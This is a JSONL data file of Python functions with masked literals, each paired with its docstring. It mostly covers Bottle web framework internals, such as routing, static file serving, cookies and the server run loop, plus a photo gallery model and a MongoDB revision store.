{"signature": "def get_next_photo(self):", "body": "try:<EOL><INDENT>next_photo = Photo.objects.filter(<EOL>gallery=self.gallery,<EOL>created__gt=self.created,<EOL>)[<NUM_LIT:0>]<EOL><DEDENT>except IndexError:<EOL><INDENT>next_photo = Photo.objects.filter(gallery=self.gallery)[<NUM_LIT:0>]<EOL><DEDENT>return next_photo<EOL>", "docstring": "Returns next photo from the same gallery (in chronological order).\n\nWraps around from last photo in the gallery to the first one.", "id": "f12958:c3:m3"}
{"signature": "def get_previous_photo(self):", "body": "try:<EOL><INDENT>previous_photo = Photo.objects.filter(<EOL>gallery=self.gallery,<EOL>created__lt=self.created,<EOL>).latest('<STR_LIT>')<EOL><DEDENT>except Photo.DoesNotExist:<EOL><INDENT>previous_photo = Photo.objects.filter(gallery=self.gallery).latest('<STR_LIT>')<EOL><DEDENT>return previous_photo<EOL>", "docstring": "Returns previous photo from the same gallery (in chronological order).\n\nWraps around from first photo in the gallery to the last one.", "id": "f12958:c3:m4"}
{"signature": "def __get_rev(self, key, version, **kwa):", "body": "if '<STR_LIT>' in kwa:<EOL><INDENT>doc = kwa['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>if type(version) is int:<EOL><INDENT>if version == <NUM_LIT:0>:<EOL><INDENT>order = pymongo.ASCENDING<EOL><DEDENT>elif version == -<NUM_LIT:1>:<EOL><INDENT>order = pymongo.DESCENDING<EOL><DEDENT>doc = self._collection.find_one({'<STR_LIT:k>': key}, sort=[['<STR_LIT:d>', order]])<EOL><DEDENT>elif type(version) is datetime:<EOL><INDENT>ver = self.__round_time(version)<EOL>doc = self._collection.find_one({'<STR_LIT:k>': key, '<STR_LIT:d>': ver})<EOL><DEDENT><DEDENT>if doc is None:<EOL><INDENT>raise KeyError('<STR_LIT>'<EOL>.format(key, str(version)))<EOL><DEDENT>coded_val = doc['<STR_LIT:v>']<EOL>return pickle.loads(coded_val)<EOL>", "docstring": "Obtain particular version of the doc at key.", "id": "f12967:c0:m1"}
{"signature": "def __round_time(self, dt):", "body": "round_to = self._resolution.total_seconds()<EOL>seconds  = (dt - dt.min).seconds<EOL>rounding = (seconds + round_to / <NUM_LIT:2>) // round_to * round_to<EOL>return dt + timedelta(<NUM_LIT:0>, rounding - seconds, -dt.microsecond)<EOL>", "docstring": "Round a datetime object to a multiple of a timedelta\n        dt : datetime.datetime object, default now.", "id": "f12967:c0:m2"}
{"signature": "def __getitem__(self, _key):", "body": "if type(_key) is tuple and len(_key) == <NUM_LIT:2>:<EOL><INDENT>key, revision = _key<EOL><DEDENT>elif type(_key) is str:<EOL><INDENT>key = _key<EOL>revision = -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if type(key) is not str:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if type(revision) is slice:<EOL><INDENT>return self.__get_revs(key, revision)<EOL><DEDENT>elif type(revision) in [int, datetime]:<EOL><INDENT>return self.__get_rev(key, revision)<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Obtain Revisions or Iterables.\n\n        Obtain specific revisions:\n          >>> obj[key]      # Return the most recent revision\n          >>> obj[key, -1]  # Return the most recent revision\n          >>> obj[key, 0]   # Return the oldest available revision\n          >>> obj[key, date(...)]   # Return the revision on the supplied date\n\n        Obtain iterables:\n          - Return an iterator which yields all revs.\n            >>> obj[key, :]\n          - Return an iterator which yields the revisions between supplied dates.\n            >>> obj[key, date(...):]\n            >>> obj[key, :date(...)]\n            >>> obj[key, date(...):date(...)]", "id": "f12967:c0:m5"}
{"signature": "def _hashkey(self, method, url, **kwa):", "body": "to_hash = '<STR_LIT>'.join([str(method), str(url),<EOL>str(kwa.get('<STR_LIT:data>', '<STR_LIT>')),<EOL>str(kwa.get('<STR_LIT>', '<STR_LIT>'))<EOL>])<EOL>return hashlib.md5(to_hash.encode()).hexdigest()<EOL>", "docstring": "Find a hash value for the linear combination of invocation methods.", "id": "f12967:c1:m3"}
{"signature": "def _re_flatten(p):", "body": "if '<STR_LIT:(>' not in p:<EOL><INDENT>return p<EOL><DEDENT>return re.sub(r'<STR_LIT>', lambda m: m.group(<NUM_LIT:0>) if<EOL>len(m.group(<NUM_LIT:1>)) % <NUM_LIT:2> else m.group(<NUM_LIT:1>) + '<STR_LIT>', p)<EOL>", "docstring": "Turn all capturing groups in a regular expression pattern into\n        non-capturing groups.", "id": "f12971:m6"}
{"signature": "def abort(code=<NUM_LIT>, text='<STR_LIT>'):", "body": "raise HTTPError(code, text)<EOL>", "docstring": "Aborts execution and causes a HTTP error.", "id": "f12971:m9"}
{"signature": "def redirect(url, code=None):", "body": "if not code:<EOL><INDENT>code = <NUM_LIT> if request.get('<STR_LIT>') == \"<STR_LIT>\" else <NUM_LIT><EOL><DEDENT>res = response.copy(cls=HTTPResponse)<EOL>res.status = code<EOL>res.body = \"<STR_LIT>\"<EOL>res.set_header('<STR_LIT>', urljoin(request.url, url))<EOL>raise res<EOL>", "docstring": "Aborts execution and causes a 303 or 302 redirect, depending on\n        the HTTP protocol version.", "id": "f12971:m10"}
{"signature": "def _file_iter_range(fp, offset, bytes, maxread=<NUM_LIT> * <NUM_LIT>):", "body": "fp.seek(offset)<EOL>while bytes > <NUM_LIT:0>:<EOL><INDENT>part = fp.read(min(bytes, maxread))<EOL>if not part: break<EOL>bytes -= len(part)<EOL>yield part<EOL><DEDENT>", "docstring": "Yield chunks from a range in a file. No chunk is bigger than maxread.", "id": "f12971:m11"}
{"signature": "def static_file(filename, root,<EOL>mimetype='<STR_LIT>',<EOL>download=False,<EOL>charset='<STR_LIT>'):", "body": "root = os.path.abspath(root) + os.sep<EOL>filename = os.path.abspath(os.path.join(root, filename.strip('<STR_LIT>')))<EOL>headers = dict()<EOL>if not filename.startswith(root):<EOL><INDENT>return HTTPError(<NUM_LIT>, \"<STR_LIT>\")<EOL><DEDENT>if not os.path.exists(filename) or not os.path.isfile(filename):<EOL><INDENT>return HTTPError(<NUM_LIT>, \"<STR_LIT>\")<EOL><DEDENT>if not os.access(filename, os.R_OK):<EOL><INDENT>return HTTPError(<NUM_LIT>, \"<STR_LIT>\")<EOL><DEDENT>if mimetype == '<STR_LIT>':<EOL><INDENT>if download and download != True:<EOL><INDENT>mimetype, encoding = mimetypes.guess_type(download)<EOL><DEDENT>else:<EOL><INDENT>mimetype, encoding = mimetypes.guess_type(filename)<EOL><DEDENT>if encoding: headers['<STR_LIT>'] = encoding<EOL><DEDENT>if mimetype:<EOL><INDENT>if mimetype[:<NUM_LIT:5>] == '<STR_LIT>' and charset and '<STR_LIT>' not in mimetype:<EOL><INDENT>mimetype += '<STR_LIT>' % charset<EOL><DEDENT>headers['<STR_LIT:Content-Type>'] = mimetype<EOL><DEDENT>if download:<EOL><INDENT>download = os.path.basename(filename if download == True else download)<EOL>headers['<STR_LIT>'] = '<STR_LIT>' % download<EOL><DEDENT>stats = os.stat(filename)<EOL>headers['<STR_LIT>'] = clen = stats.st_size<EOL>lm = time.strftime(\"<STR_LIT>\", time.gmtime(stats.st_mtime))<EOL>headers['<STR_LIT>'] = lm<EOL>ims = request.environ.get('<STR_LIT>')<EOL>if ims:<EOL><INDENT>ims = parse_date(ims.split(\"<STR_LIT:;>\")[<NUM_LIT:0>].strip())<EOL><DEDENT>if ims is not None and ims >= int(stats.st_mtime):<EOL><INDENT>headers['<STR_LIT>'] = time.strftime(\"<STR_LIT>\",<EOL>time.gmtime())<EOL>return HTTPResponse(status=<NUM_LIT>, **headers)<EOL><DEDENT>body = '<STR_LIT>' if request.method == '<STR_LIT>' else open(filename, '<STR_LIT:rb>')<EOL>headers[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>ranges = request.environ.get('<STR_LIT>')<EOL>if '<STR_LIT>' in request.environ:<EOL><INDENT>ranges = list(parse_range_header(request.environ['<STR_LIT>'], clen))<EOL>if not ranges:<EOL><INDENT>return HTTPError(<NUM_LIT>, \"<STR_LIT>\")<EOL><DEDENT>offset, end = ranges[<NUM_LIT:0>]<EOL>headers[\"<STR_LIT>\"] = \"<STR_LIT>\" % (offset, end - <NUM_LIT:1>, clen)<EOL>headers[\"<STR_LIT>\"] = str(end - offset)<EOL>if body: body = _file_iter_range(body, offset, end - offset)<EOL>return HTTPResponse(body, status=<NUM_LIT>, **headers)<EOL><DEDENT>return HTTPResponse(body, **headers)<EOL>", "docstring": "Open a file in a safe way and return :exc:`HTTPResponse` with status\n        code 200, 305, 403 or 404. The ``Content-Type``, ``Content-Encoding``,\n        ``Content-Length`` and ``Last-Modified`` headers are set if possible.\n        Special support for ``If-Modified-Since``, ``Range`` and ``HEAD``\n        requests.\n\n        :param filename: Name or path of the file to send.\n        :param root: Root path for file lookups. Should be an absolute directory\n            path.\n        :param mimetype: Defines the content-type header (default: guess from\n            file extension)\n        :param download: If True, ask the browser to open a `Save as...` dialog\n            instead of opening the file with the associated program. You can\n            specify a custom filename as a string. If not specified, the\n            original filename is used (default: False).\n        :param charset: The charset to use for files with a ``text/*``\n            mime-type. (default: UTF-8)", "id": "f12971:m12"}
{"signature": "def debug(mode=True):", "body": "global DEBUG<EOL>if mode: warnings.simplefilter('<STR_LIT:default>')<EOL>DEBUG = bool(mode)<EOL>", "docstring": "Change the debug level.\n    There is only one debug level supported at the moment.", "id": "f12971:m13"}
{"signature": "def parse_date(ims):", "body": "try:<EOL><INDENT>ts = email.utils.parsedate_tz(ims)<EOL>return time.mktime(ts[:<NUM_LIT:8>] + (<NUM_LIT:0>, )) - (ts[<NUM_LIT:9>] or <NUM_LIT:0>) - time.timezone<EOL><DEDENT>except (TypeError, ValueError, IndexError, OverflowError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Parse rfc1123, rfc850 and asctime timestamps and return UTC epoch.", "id": "f12971:m15"}
{"signature": "def parse_auth(header):", "body": "try:<EOL><INDENT>method, data = header.split(None, <NUM_LIT:1>)<EOL>if method.lower() == '<STR_LIT>':<EOL><INDENT>user, pwd = touni(base64.b64decode(tob(data))).split('<STR_LIT::>', <NUM_LIT:1>)<EOL>return user, pwd<EOL><DEDENT><DEDENT>except (KeyError, ValueError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Parse rfc2617 HTTP authentication header string (basic) and return (user,pass) tuple or None", "id": "f12971:m16"}
{"signature": "def parse_range_header(header, maxlen=<NUM_LIT:0>):", "body": "if not header or header[:<NUM_LIT:6>] != '<STR_LIT>': return<EOL>ranges = [r.split('<STR_LIT:->', <NUM_LIT:1>) for r in header[<NUM_LIT:6>:].split('<STR_LIT:U+002C>') if '<STR_LIT:->' in r]<EOL>for start, end in ranges:<EOL><INDENT>try:<EOL><INDENT>if not start:  <EOL><INDENT>start, end = max(<NUM_LIT:0>, maxlen - int(end)), maxlen<EOL><DEDENT>elif not end:  <EOL><INDENT>start, end = int(start), maxlen<EOL><DEDENT>else:  <EOL><INDENT>start, end = int(start), min(int(end) + <NUM_LIT:1>, maxlen)<EOL><DEDENT>if <NUM_LIT:0> <= start < end <= maxlen:<EOL><INDENT>yield start, end<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Yield (start, end) ranges parsed from a HTTP Range header. Skip\n        unsatisfiable ranges. The end index is non-inclusive.", "id": "f12971:m17"}
{"signature": "def _lscmp(a, b):", "body": "return not sum(<NUM_LIT:0> if x == y else <NUM_LIT:1><EOL>for x, y in zip(a, b)) and len(a) == len(b)<EOL>", "docstring": "Compares two strings in a cryptographically safe way:\n        Runtime is not affected by length of common prefix.", "id": "f12971:m19"}
{"signature": "def cookie_encode(data, key):", "body": "msg = base64.b64encode(pickle.dumps(data, -<NUM_LIT:1>))<EOL>sig = base64.b64encode(hmac.new(tob(key), msg).digest())<EOL>return tob('<STR_LIT:!>') + sig + tob('<STR_LIT:?>') + msg<EOL>", "docstring": "Encode and sign a pickle-able object. Return a (byte) string", "id": "f12971:m20"}
{"signature": "def cookie_decode(data, key):", "body": "data = tob(data)<EOL>if cookie_is_encoded(data):<EOL><INDENT>sig, msg = data.split(tob('<STR_LIT:?>'), <NUM_LIT:1>)<EOL>if _lscmp(sig[<NUM_LIT:1>:], base64.b64encode(hmac.new(tob(key), msg).digest())):<EOL><INDENT>return pickle.loads(base64.b64decode(msg))<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Verify and decode an encoded string. Return an object or None.", "id": "f12971:m21"}
{"signature": "def cookie_is_encoded(data):", "body": "return bool(data.startswith(tob('<STR_LIT:!>')) and tob('<STR_LIT:?>') in data)<EOL>", "docstring": "Return True if the argument looks like a encoded cookie.", "id": "f12971:m22"}
{"signature": "def html_escape(string):", "body": "return string.replace('<STR_LIT:&>', '<STR_LIT>').replace('<STR_LIT:<>', '<STR_LIT>').replace('<STR_LIT:>>', '<STR_LIT>').replace('<STR_LIT:\">', '<STR_LIT>').replace(\"<STR_LIT:'>\", '<STR_LIT>')<EOL>", "docstring": "Escape HTML special characters ``&<>`` and quotes ``'\"``.", "id": "f12971:m23"}
{"signature": "def html_quote(string):", "body": "return '<STR_LIT>' % html_escape(string).replace('<STR_LIT:\\n>', '<STR_LIT>').replace('<STR_LIT:\\r>', '<STR_LIT>').replace('<STR_LIT:\\t>', '<STR_LIT>')<EOL>", "docstring": "Escape and quote a string to be used as an HTTP attribute.", "id": "f12971:m24"}
{"signature": "def yieldroutes(func):", "body": "path = '<STR_LIT:/>' + func.__name__.replace('<STR_LIT>', '<STR_LIT:/>').lstrip('<STR_LIT:/>')<EOL>spec = getargspec(func)<EOL>argc = len(spec[<NUM_LIT:0>]) - len(spec[<NUM_LIT:3>] or [])<EOL>path += ('<STR_LIT>' * argc) % tuple(spec[<NUM_LIT:0>][:argc])<EOL>yield path<EOL>for arg in spec[<NUM_LIT:0>][argc:]:<EOL><INDENT>path += '<STR_LIT>' % arg<EOL>yield path<EOL><DEDENT>", "docstring": "Return a generator for routes that match the signature (name, args)\n    of the func parameter. This may yield more than one route if the function\n    takes optional keyword arguments. The output is best described by example::\n\n        a()         -> '/a'\n        b(x, y)     -> '/b/<x>/<y>'\n        c(x, y=5)   -> '/c/<x>' and '/c/<x>/<y>'\n        d(x=5, y=6) -> '/d' and '/d/<x>' and '/d/<x>/<y>'", "id": "f12971:m25"}
{"signature": "def path_shift(script_name, path_info, shift=<NUM_LIT:1>):", "body": "if shift == <NUM_LIT:0>: return script_name, path_info<EOL>pathlist = path_info.strip('<STR_LIT:/>').split('<STR_LIT:/>')<EOL>scriptlist = script_name.strip('<STR_LIT:/>').split('<STR_LIT:/>')<EOL>if pathlist and pathlist[<NUM_LIT:0>] == '<STR_LIT>': pathlist = []<EOL>if scriptlist and scriptlist[<NUM_LIT:0>] == '<STR_LIT>': scriptlist = []<EOL>if <NUM_LIT:0> < shift <= len(pathlist):<EOL><INDENT>moved = pathlist[:shift]<EOL>scriptlist = scriptlist + moved<EOL>pathlist = pathlist[shift:]<EOL><DEDENT>elif <NUM_LIT:0> > shift >= -len(scriptlist):<EOL><INDENT>moved = scriptlist[shift:]<EOL>pathlist = moved + pathlist<EOL>scriptlist = scriptlist[:shift]<EOL><DEDENT>else:<EOL><INDENT>empty = '<STR_LIT>' if shift < <NUM_LIT:0> else '<STR_LIT>'<EOL>raise AssertionError(\"<STR_LIT>\" % empty)<EOL><DEDENT>new_script_name = '<STR_LIT:/>' + '<STR_LIT:/>'.join(scriptlist)<EOL>new_path_info = '<STR_LIT:/>' + '<STR_LIT:/>'.join(pathlist)<EOL>if path_info.endswith('<STR_LIT:/>') and pathlist: new_path_info += '<STR_LIT:/>'<EOL>return new_script_name, new_path_info<EOL>", "docstring": "Shift path fragments from PATH_INFO to SCRIPT_NAME and vice versa.\n\n        :return: The modified paths.\n        :param script_name: The SCRIPT_NAME path.\n        :param script_name: The PATH_INFO path.\n        :param shift: The number of path fragments to shift. May be negative to\n          change the shift direction. (default: 1)", "id": "f12971:m26"}
{"signature": "def auth_basic(check, realm=\"<STR_LIT>\", text=\"<STR_LIT>\"):", "body": "def decorator(func):<EOL><INDENT>@functools.wraps(func)<EOL>def wrapper(*a, **ka):<EOL><INDENT>user, password = request.auth or (None, None)<EOL>if user is None or not check(user, password):<EOL><INDENT>err = HTTPError(<NUM_LIT>, text)<EOL>err.add_header('<STR_LIT>', '<STR_LIT>' % realm)<EOL>return err<EOL><DEDENT>return func(*a, **ka)<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Callback decorator to require HTTP auth (basic).\n        TODO: Add route(check_auth=...) parameter.", "id": "f12971:m27"}
{"signature": "def make_default_app_wrapper(name):", "body": "@functools.wraps(getattr(Bottle, name))<EOL>def wrapper(*a, **ka):<EOL><INDENT>return getattr(app(), name)(*a, **ka)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Return a callable that relays calls to the current default app.", "id": "f12971:m28"}
{"signature": "def load(target, **namespace):", "body": "module, target = target.split(\"<STR_LIT::>\", <NUM_LIT:1>) if '<STR_LIT::>' in target else (target, None)<EOL>if module not in sys.modules: __import__(module)<EOL>if not target: return sys.modules[module]<EOL>if target.isalnum(): return getattr(sys.modules[module], target)<EOL>package_name = module.split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL>namespace[package_name] = sys.modules[package_name]<EOL>return eval('<STR_LIT>' % (module, target), namespace)<EOL>", "docstring": "Import a module or fetch an object from a module.\n\n        * ``package.module`` returns `module` as a module object.\n        * ``pack.mod:name`` returns the module variable `name` from `pack.mod`.\n        * ``pack.mod:func()`` calls `pack.mod.func()` and returns the result.\n\n        The last form accepts not only function calls, but any type of\n        expression. Keyword arguments passed to this function are available as\n        local variables. Example: ``import_string('re:compile(x)', x='[a-z]')``", "id": "f12971:m29"}
{"signature": "def load_app(target):", "body": "global NORUN<EOL>NORUN, nr_old = True, NORUN<EOL>tmp = default_app.push()  <EOL>try:<EOL><INDENT>rv = load(target)  <EOL>return rv if callable(rv) else tmp<EOL><DEDENT>finally:<EOL><INDENT>default_app.remove(tmp)  <EOL>NORUN = nr_old<EOL><DEDENT>", "docstring": "Load a bottle application from a module and make sure that the import\n        does not affect the current default application, but returns a separate\n        application object. See :func:`load` for the target parameter.", "id": "f12971:m30"}
{"signature": "def run(app=None,<EOL>server='<STR_LIT>',<EOL>host='<STR_LIT:127.0.0.1>',<EOL>port=<NUM_LIT>,<EOL>interval=<NUM_LIT:1>,<EOL>reloader=False,<EOL>quiet=False,<EOL>plugins=None,<EOL>debug=None, **kargs):", "body": "if NORUN: return<EOL>if reloader and not os.environ.get('<STR_LIT>'):<EOL><INDENT>import subprocess<EOL>lockfile = None<EOL>try:<EOL><INDENT>fd, lockfile = tempfile.mkstemp(prefix='<STR_LIT>', suffix='<STR_LIT>')<EOL>os.close(fd)  <EOL>while os.path.exists(lockfile):<EOL><INDENT>args = [sys.executable] + sys.argv<EOL>environ = os.environ.copy()<EOL>environ['<STR_LIT>'] = '<STR_LIT:true>'<EOL>environ['<STR_LIT>'] = lockfile<EOL>p = subprocess.Popen(args, env=environ)<EOL>while p.poll() is None:  <EOL><INDENT>os.utime(lockfile, None)  <EOL>time.sleep(interval)<EOL><DEDENT>if p.poll() != <NUM_LIT:3>:<EOL><INDENT>if os.path.exists(lockfile): os.unlink(lockfile)<EOL>sys.exit(p.poll())<EOL><DEDENT><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>pass<EOL><DEDENT>finally:<EOL><INDENT>if os.path.exists(lockfile):<EOL><INDENT>os.unlink(lockfile)<EOL><DEDENT><DEDENT>return<EOL><DEDENT>try:<EOL><INDENT>if debug is not None: _debug(debug)<EOL>app = app or default_app()<EOL>if isinstance(app, basestring):<EOL><INDENT>app = load_app(app)<EOL><DEDENT>if not callable(app):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % app)<EOL><DEDENT>for plugin in plugins or []:<EOL><INDENT>if isinstance(plugin, basestring):<EOL><INDENT>plugin = load(plugin)<EOL><DEDENT>app.install(plugin)<EOL><DEDENT>if server in server_names:<EOL><INDENT>server = server_names.get(server)<EOL><DEDENT>if isinstance(server, basestring):<EOL><INDENT>server = load(server)<EOL><DEDENT>if isinstance(server, type):<EOL><INDENT>server = server(host=host, port=port, **kargs)<EOL><DEDENT>if not isinstance(server, ServerAdapter):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % server)<EOL><DEDENT>server.quiet = server.quiet or quiet<EOL>if not server.quiet:<EOL><INDENT>_stderr(\"<STR_LIT>\" %<EOL>(__version__, repr(server)))<EOL>_stderr(\"<STR_LIT>\" %<EOL>(server.host, server.port))<EOL>_stderr(\"<STR_LIT>\")<EOL><DEDENT>if reloader:<EOL><INDENT>lockfile = os.environ.get('<STR_LIT>')<EOL>bgcheck = FileCheckerThread(lockfile, interval)<EOL>with bgcheck:<EOL><INDENT>server.run(app)<EOL><DEDENT>if bgcheck.status == '<STR_LIT>':<EOL><INDENT>sys.exit(<NUM_LIT:3>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>server.run(app)<EOL><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>pass<EOL><DEDENT>except (SystemExit, MemoryError):<EOL><INDENT>raise<EOL><DEDENT>except:<EOL><INDENT>if not reloader: raise<EOL>if not getattr(server, '<STR_LIT>', quiet):<EOL><INDENT>print_exc()<EOL><DEDENT>time.sleep(interval)<EOL>sys.exit(<NUM_LIT:3>)<EOL><DEDENT>", "docstring": "Start a server instance. This method blocks until the server terminates.\n\n        :param app: WSGI application or target string supported by\n               :func:`load_app`. (default: :func:`default_app`)\n        :param server: Server adapter to use. See :data:`server_names` keys\n               for valid names or pass a :class:`ServerAdapter` subclass.\n               (default: `wsgiref`)\n        :param host: Server address to bind to. Pass ``0.0.0.0`` to listens on\n               all interfaces including the external one. (default: 127.0.0.1)\n        :param port: Server port to bind to. Values below 1024 require root\n               privileges. (default: 8080)\n        :param reloader: Start auto-reloading server? (default: False)\n        :param interval: Auto-reloader interval in seconds (default: 1)\n        :param quiet: Suppress output to stdout and stderr? (default: False)\n        :param options: Options passed to the server adapter.", "id": "f12971:m31"}
{"signature": "def template(*args, **kwargs):", "body": "tpl = args[<NUM_LIT:0>] if args else None<EOL>adapter = kwargs.pop('<STR_LIT>', SimpleTemplate)<EOL>lookup = kwargs.pop('<STR_LIT>', TEMPLATE_PATH)<EOL>tplid = (id(lookup), tpl)<EOL>if tplid not in TEMPLATES or DEBUG:<EOL><INDENT>settings = kwargs.pop('<STR_LIT>', {})<EOL>if isinstance(tpl, adapter):<EOL><INDENT>TEMPLATES[tplid] = tpl<EOL>if settings: TEMPLATES[tplid].prepare(**settings)<EOL><DEDENT>elif \"<STR_LIT:\\n>\" in tpl or \"<STR_LIT:{>\" in tpl or \"<STR_LIT:%>\" in tpl or '<STR_LIT:$>' in tpl:<EOL><INDENT>TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)<EOL><DEDENT>else:<EOL><INDENT>TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)<EOL><DEDENT><DEDENT>if not TEMPLATES[tplid]:<EOL><INDENT>abort(<NUM_LIT>, '<STR_LIT>' % tpl)<EOL><DEDENT>for dictarg in args[<NUM_LIT:1>:]:<EOL><INDENT>kwargs.update(dictarg)<EOL><DEDENT>return TEMPLATES[tplid].render(kwargs)<EOL>", "docstring": "Get a rendered template as a string iterator.\nYou can use a name, a filename or a template string as first parameter.\nTemplate rendering arguments can be passed as dictionaries\nor directly (as keyword arguments).", "id": "f12971:m32"}
{"signature": "def view(tpl_name, **defaults):", "body": "def decorator(func):<EOL><INDENT>@functools.wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>result = func(*args, **kwargs)<EOL>if isinstance(result, (dict, DictMixin)):<EOL><INDENT>tplvars = defaults.copy()<EOL>tplvars.update(result)<EOL>return template(tpl_name, **tplvars)<EOL><DEDENT>elif result is None:<EOL><INDENT>return template(tpl_name, defaults)<EOL><DEDENT>return result<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator: renders a template for a handler.\n        The handler can control its behavior like that:\n\n          - return a dict of template vars to fill out the template\n          - return something other than a dict and the view decorator will not\n            process the template, but return the handler result as is.\n            This includes returning a HTTPResponse(dict) to get,\n            for instance, JSON with autojson or other castfilters.", "id": "f12971:m33"}
{"signature": "def add_filter(self, name, func):", "body": "self.filters[name] = func<EOL>", "docstring": "Add a filter. The provided function is called with the configuration\n        string as parameter and must return a (regexp, to_python, to_url) tuple.\n        The first element is a string, the last two are callables or None.", "id": "f12971:c9:m1"}
{"signature": "def add(self, rule, method, target, name=None):", "body": "anons = <NUM_LIT:0>  <EOL>keys = []  <EOL>pattern = '<STR_LIT>'  <EOL>filters = []  <EOL>builder = []  <EOL>is_static = True<EOL>for key, mode, conf in self._itertokens(rule):<EOL><INDENT>if mode:<EOL><INDENT>is_static = False<EOL>if mode == '<STR_LIT:default>': mode = self.default_filter<EOL>mask, in_filter, out_filter = self.filters[mode](conf)<EOL>if not key:<EOL><INDENT>pattern += '<STR_LIT>' % mask<EOL>key = '<STR_LIT>' % anons<EOL>anons += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>pattern += '<STR_LIT>' % (key, mask)<EOL>keys.append(key)<EOL><DEDENT>if in_filter: filters.append((key, in_filter))<EOL>builder.append((key, out_filter or str))<EOL><DEDENT>elif key:<EOL><INDENT>pattern += re.escape(key)<EOL>builder.append((None, key))<EOL><DEDENT><DEDENT>self.builder[rule] = builder<EOL>if name: self.builder[name] = builder<EOL>if is_static and not self.strict_order:<EOL><INDENT>self.static.setdefault(method, {})<EOL>self.static[method][self.build(rule)] = (target, None)<EOL>return<EOL><DEDENT>try:<EOL><INDENT>re_pattern = re.compile('<STR_LIT>' % pattern)<EOL>re_match = re_pattern.match<EOL><DEDENT>except re.error:<EOL><INDENT>raise RouteSyntaxError(\"<STR_LIT>\" %<EOL>(rule, _e()))<EOL><DEDENT>if filters:<EOL><INDENT>def getargs(path):<EOL><INDENT>url_args = re_match(path).groupdict()<EOL>for name, wildcard_filter in filters:<EOL><INDENT>try:<EOL><INDENT>url_args[name] = wildcard_filter(url_args[name])<EOL><DEDENT>except ValueError:<EOL><INDENT>raise HTTPError(<NUM_LIT>, '<STR_LIT>')<EOL><DEDENT><DEDENT>return url_args<EOL><DEDENT><DEDENT>elif re_pattern.groupindex:<EOL><INDENT>def getargs(path):<EOL><INDENT>return re_match(path).groupdict()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>getargs = None<EOL><DEDENT>flatpat = _re_flatten(pattern)<EOL>whole_rule = (rule, flatpat, target, getargs)<EOL>if (flatpat, method) in self._groups:<EOL><INDENT>if DEBUG:<EOL><INDENT>msg = '<STR_LIT>'<EOL>warnings.warn(msg % (method, rule), RuntimeWarning)<EOL><DEDENT>self.dyna_routes[method][<EOL>self._groups[flatpat, method]] = whole_rule<EOL><DEDENT>else:<EOL><INDENT>self.dyna_routes.setdefault(method, []).append(whole_rule)<EOL>self._groups[flatpat, method] = len(self.dyna_routes[method]) - <NUM_LIT:1><EOL><DEDENT>self._compile(method)<EOL>", "docstring": "Add a new rule or replace the target for an existing rule.", "id": "f12971:c9:m3"}
{"signature": "def build(self, _name, *anons, **query):", "body": "builder = self.builder.get(_name)<EOL>if not builder:<EOL><INDENT>raise RouteBuildError(\"<STR_LIT>\", _name)<EOL><DEDENT>try:<EOL><INDENT>for i, value in enumerate(anons):<EOL><INDENT>query['<STR_LIT>' % i] = value<EOL><DEDENT>url = '<STR_LIT>'.join([f(query.pop(n)) if n else f for (n, f) in builder])<EOL>return url if not query else url + '<STR_LIT:?>' + urlencode(query)<EOL><DEDENT>except KeyError:<EOL><INDENT>raise RouteBuildError('<STR_LIT>' % _e().args[<NUM_LIT:0>])<EOL><DEDENT>", "docstring": "Build an URL by filling the wildcards in a rule.", "id": "f12971:c9:m5"}
{"signature": "def match(self, environ):", "body": "verb = environ['<STR_LIT>'].upper()<EOL>path = environ['<STR_LIT>'] or '<STR_LIT:/>'<EOL>if verb == '<STR_LIT>':<EOL><INDENT>methods = ['<STR_LIT>', verb, '<STR_LIT:GET>', '<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>methods = ['<STR_LIT>', verb, '<STR_LIT>']<EOL><DEDENT>for method in methods:<EOL><INDENT>if method in self.static and path in self.static[method]:<EOL><INDENT>target, getargs = self.static[method][path]<EOL>return target, getargs(path) if getargs else {}<EOL><DEDENT>elif method in self.dyna_regexes:<EOL><INDENT>for combined, rules in self.dyna_regexes[method]:<EOL><INDENT>match = combined(path)<EOL>if match:<EOL><INDENT>target, getargs = rules[match.lastindex - <NUM_LIT:1>]<EOL>return target, getargs(path) if getargs else {}<EOL><DEDENT><DEDENT><DEDENT><DEDENT>allowed = set([])<EOL>nocheck = set(methods)<EOL>for method in set(self.static) - nocheck:<EOL><INDENT>if path in self.static[method]:<EOL><INDENT>allowed.add(verb)<EOL><DEDENT><DEDENT>for method in set(self.dyna_regexes) - allowed - nocheck:<EOL><INDENT>for combined, rules in self.dyna_regexes[method]:<EOL><INDENT>match = combined(path)<EOL>if match:<EOL><INDENT>allowed.add(method)<EOL><DEDENT><DEDENT><DEDENT>if allowed:<EOL><INDENT>allow_header = \"<STR_LIT:U+002C>\".join(sorted(allowed))<EOL>raise HTTPError(<NUM_LIT>, \"<STR_LIT>\", Allow=allow_header)<EOL><DEDENT>raise HTTPError(<NUM_LIT>, \"<STR_LIT>\" + repr(path))<EOL>", "docstring": "Return a (target, url_args) tuple or raise HTTPError(400/404/405).", "id": "f12971:c9:m6"}
